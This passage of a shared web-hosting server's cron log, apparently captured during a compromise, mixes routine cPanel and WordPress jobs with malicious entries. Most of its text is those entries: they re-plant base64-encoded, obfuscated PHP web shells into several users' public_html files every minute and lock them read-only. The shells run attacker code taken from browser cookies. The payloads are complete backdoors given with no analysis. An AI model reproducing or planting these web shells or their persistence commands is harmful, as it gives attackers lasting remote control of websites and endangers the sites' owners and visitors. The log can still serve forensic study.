KCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:05:01 medusa CROND[10624]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:05:01 medusa CROND[10627]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 04:05:01 medusa CROND[10626]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 04:05:01 medusa CROND[10628]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:05:01 medusa CROND[10629]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:05:01 medusa CROND[10630]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 04:05:01 medusa CROND[10633]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:05:01 medusa CROND[10620]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 04:05:01 medusa CROND[10636]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:05:01 medusa CROND[10619]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 04:05:01 medusa CROND[10634]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:05:01 medusa CROND[10625]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 04:06:02 medusa CROND[631]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:06:02 medusa CROND[633]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 04:06:02 medusa CROND[632]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 04:06:02 medusa CROND[634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:06:02 medusa CROND[635]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:06:02 medusa CROND[636]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:06:02 medusa CROND[643]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:06:02 medusa CROND[642]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:06:02 medusa CROND[645]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:06:02 medusa CROND[647]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:06:02 medusa CROND[650]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:06:02 medusa CROND[641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:06:02 medusa CROND[652]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 04:06:02 medusa CROND[655]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:06:02 medusa CROND[663]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:07:01 medusa CROND[22868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:07:01 medusa CROND[22923]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:07:01 medusa CROND[22924]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:07:01 medusa CROND[22929]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:07:01 medusa CROND[22930]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:07:01 medusa CROND[22932]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:07:01 medusa CROND[22937]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 04:07:01 medusa CROND[22939]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5Owog